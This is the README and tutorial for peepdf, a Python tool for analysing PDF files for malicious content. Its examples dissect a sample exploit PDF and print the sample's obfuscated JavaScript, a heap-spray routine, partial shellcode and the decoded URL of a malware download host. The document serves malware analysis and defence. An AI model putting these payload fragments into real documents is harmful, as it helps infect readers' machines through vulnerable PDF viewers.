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## peepdf - PDF Analysis Tool

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### What is this?

peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of **PyV8** and **Pylibemu** it provides Javascript and shellcode analysis wrappers too. Apart of this it is able to create new PDF files, modify existent ones and obfuscate them.



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## Usage

Usage: ./peepdf.py [options] PDF\_file

### Options:

-h, --help show this help message and exit  
-i, --interactive Sets console mode.  
-s SCRIPTFILE, --load-script=SCRIPTFILE  
Loads the commands stored in the specified file and execute them.  
-c, --check-vt Checks the hash of the PDF file on VirusTotal.  
-f, --force-mode Sets force parsing mode to ignore errors.  
-l, --loose-mode Sets loose parsing mode to catch malformed objects.  
-m, --manual-analysis  
Avoids automatic Javascript analysis. Useful with eternal loops like heap spraying.  
-u, --update Updates peepdf with the latest files from the repository.  
-g, --grinch-mode Avoids colorized output in the interactive console.  
-v, --version Shows program's version number.  
-x, --xml Shows the document information in XML format.

\$ ./peepdf.py -i

PPDF> help

Documented commands (type help <topic>):

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### How does it work?

- How can I execute the tool?

The basic syntax is:

```
$ ./peepdf.py pdf_file
```

But you can use the `-f` option to avoid errors and to force the tool to ignore them:

```
$ ./peepdf.py fcexploit.pdf
Error: Missing /Length in stream object!
```

```
$ ./peepdf.py -f fcexploit.pdf

File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
```

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```
Comments: 0
Errors: 1

Version 0:
  Catalog: 27
  Info: 11
  Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26,
27, 28]
    Errors (2): [11, 25]
    Streams (5): [5, 7, 9, 10, 11]
      Encoded (4): [5, 7, 9, 10]
    Objects with JS code (1): [5]
    Suspicious elements:
      /OpenAction: [1]
      /JS: [4]
      /JavaScript: [4]
      getAnnots (CVE-2009-1492): [5]
```

That's the default output, if you really want to explore and play with the PDF file use the interactive console (-i). These are some of the common commands:

- The *tree* command shows the logical structure of the file:

```
PPDF> tree

/Catalog (1)
  /Fields (5)
    array (2)
    /JavaScript (7)
      /Names (10)
        /Action /JavaScript (12)
          stream (13)
      /Pages (4)
        /Page (9)
          /Pages (4)
```

```
        stream (11)
        /ProcSet (8)
    /ProcSet (8)
    /Outlines (3)
    dictionary (6)
/Info (14)
```

- To view the physical structure of the file you will have to use the *offsets* command:

```
PPDF> offsets
```

```
    0 Header
    17
    Object  1 (260)
    276
    279
    Object  2 (19)
    297
    300
    Object  3 (48)
    347
    350
    Object  4 (78)
    427
    430
    Object  5 (33)
    462
    465
    Object  6 (21)
    485
    488
    Object  7 (41)
    528
```

```
531
    Object 8 (68)
598
601
    Object 9 (187)
787
790
    Object 10 (52)
841
844
    Object 11 (85)
928
931
    Object 12 (50)
980
983
    Object 13 (1823)
2805
2808
    Object 14 (204)
3011
3014
    Xref Section (325)
3338
3341
    Trailer (69)
3409
3410 EOF
```

- With the *metadata* command you can see the metadata information in each version of the document:

```
PPDF> metadata
```

```
Info Object in version 0:
```

```
/Title
/ModDate 2008312053854
/CreationDate 2008312053854
/Producer Scribus PDF Library 1.3.3.12
/Trapped /False
/Creator Scribus 1.3.3.12
/Keywords
/Author
```

- The command *rawobject* shows the different objects without decodings, while the *object* command shows the content after the decoding process:

```
PPDF> object 1
```

```
/AcroForm 5 0 R
/Threads 2 0 R
/Names 7 0 R
/OpenAction <</S /JavaScript
/JS (this.uSQXcfd2())>>
/Pages 4 0 R
/Outlines 3 0 R
/Type /Catalog
/PageLayout /SinglePage
/Dests 6 0 R
/ViewerPreferences <</PageDirection /L2R>>
```

```
PPDF> rawobject 1
```

```
1 0 obj
```

```
<< /#41#63#72#6f#46#6f#72#6d 5 0 R
/#54#68#72#65#61#64#73 2 0 R
/#56#69#65#77#65#72#50#72#65#66#65#72#65#6e#63#65#73 <<
/#50#61#67#65#44#69#72#65#63#74#69#6f#6e /#4c#32#52 >>
/#4f#70#65#6e#41#63#74#69#6f#6e << /#53 /#4a#61#76#61#53#63#72#69#70#74
/#4a#53 (\164\150\151\163\056\165\123\121\130\143\146\143\144\062\050\051) >>
/#50#61#67#65#73 4 0 R
/#4f#75#74#6c#69#6e#65#73 3 0 R
/#54#79#70#65 /#43#61#74#61#6c#6f#67
/#50#61#67#65#4c#61#79#6f#75#74 /#53#69#6e#67#6c#65#50#61#67#65
/#44#65#73#74#73 6 0 R
/#4e#61#6d#65#73 7 0 R >>
endobj
```

- The same idea is used with the streams:

```
PPDF> stream 13
```

```
function nofaq(lgc){var ppwsd="";for(rxr=0;rxr<lgc.length;rxr+=2){ppwsd+=
(String.fromCharCode(parseInt(lgc.substr(rxr,5),19)));}eval(ppwsd);}nofaq("0D0A6452601D6
24C2B445F493F671D341D5F56651D38606052672223320D0A57635F54625A5G5F1D5D46494B3A223C2H30673
9261D42446438644523690D0A1D1D65595A5D561D223C2H306739285D565F5862591D241D2C1D331D4244643
8644523690D0A1D1D1D1D3C2H3067391D25341D3C2H306739320D0A1D1D6B0D0A1D1D3C2H3067391D341D3C2
H306739286163536162605A5F58222A261D4244643864451D291D2C23320D0A1D1D60566263605F1D3C2H306
739320D0A6B0D0A57635F54625A5G5F1D4D4A4D5G594E485522533956493F5823690D0A6452601D424840642
H39441D341D2A662A542A542A542A54320D0A1D1D1D1D1D1D605H5A574A58571D341D635F566154525H56221
F1I632E2D2E2D1I632E2D2E2D1I632A5756531I632D2D2F531I632G2G54301I632I2A53301I632I2A2A2B1I6
356572D2D1F1D250D0A1F1I63562C2E2D1I63565357521I63562I2A2F1I63575756541I63575757571I632I5
32H571I6355572E561I63565756571I632G2E56571I63562D52571I6330572G2E1I632E26161 ...
```

```
PPDF> rawstream 13
```

```
78 9c 95 58 5b 4f dd 46 10 fe 2b 11 4f 1c 25 8a |x..X[0.F...0.%.|
```



```

ec d9 8b 6d 51 1e 7c 39 6b fb b9 bf 80 a6 40 a2 |...mQ.|9k....@.|
a6 d0 02 49 95 46 fd ef fd 66 af 5e db e7 90 c8 |...I.F...f.^....|
02 96 f5 ec 37 f7 99 1d df 7d 79 f8 f0 f2 e9 f1 |....7....}y....|
e1 cd c3 e3 dd cd df 97 9f ef 3f 1c be 7f bd 79 |.....?...δ.y|
7a f3 fc cf b7 6f 7f 5c 5f 5c 5c dd 3d 3e 5d be |z....0δ\_\.\.=>].|
fc fb 72 5d 5c e1 f7 2f 78 ff fe f3 ed c3 fd cb |..r]\../x.....|
47 fe f7 ed 35 1d be 5b ca b7 d7 97 bf be 3c 7d |G...5..[.....<}|
...

```

- Other useful command is *references*, very helpful to know where an object is referenced and the references in an object:

```

PPDF> references to 12

[10]

PPDF> rawobject 10

10 0 obj
<</Names [(New_Script) 12 0 R]
>>
endobj

PPDF> references in 12

['13 0 R']

```

- If there are some objects with Javascript code in their content you can use the JS commands (PyV8 required) to analyze them (*js\_eval*, *js\_join*, *js\_unescape*, *js\_analyse*):

```
PPDF> js_analyse object 13
```

Javascript code:

```
var tX1PnUHy = new Array();
function lRUWC(E79yB, NPvAvQ){
  while (E79yB.length * 2 < NPvAvQ){
    E79yB += E79yB;
  }
  E79yB = E79yB.substring(0, NPvAvQ / 2);
  return E79yB;
}
function YVYohZTd(bBeUHG){
var NTLv7BP = 0x0c0c0c0c;
rpifVgf = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebf%a%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64" +
"%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787" +
"%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3" +
"%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66" +
"%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef" +
"%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64" +
"%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf...")
```

Unescaped bytes:

```
43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef |CCCC..[3.f....3.|
43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef |C.....Δ.N...|
ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef |.d...d..Bd..n...|
ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa |.d...a.....f.|
eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9 |...w.e.....f...|
87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00 |.._.-.....f.....|
21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a |!...;...f.....|
57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66 |W.)...f...o...f|
aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee |.....f..d....|
```

```
b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f |.d....d.....|
07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf |.x...f..d*l/.f..|
87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07 |.....d....d...|
8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb |.....(.....(|
97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7 |.....d....d..|
07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10 |.....4...|
9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef |....d....d....|
ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7 |.....d....d..|
07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7 |.....d....d..|
07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e |.....|
6c 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64 |l....d5.....d.d|
92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9 |..d....d.....|
64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0 |d....&..B.,....|
51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11 |Q.....!.....|
b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64 |....d.d...2.d..d|
b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b |...2d.d.*.-....|
11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f |.....http:/|
2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63 |/bikpakoc.cn/nuc|
2f 65 78 65 2e 70 68 70 |/exe.php|
```

URLs in shellcode:

`http://bikpakoc.cn/nuc/exe.php`

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You can take a look at the **Wiki** of the project: **installation**, **execution** and **all the commands** explained.

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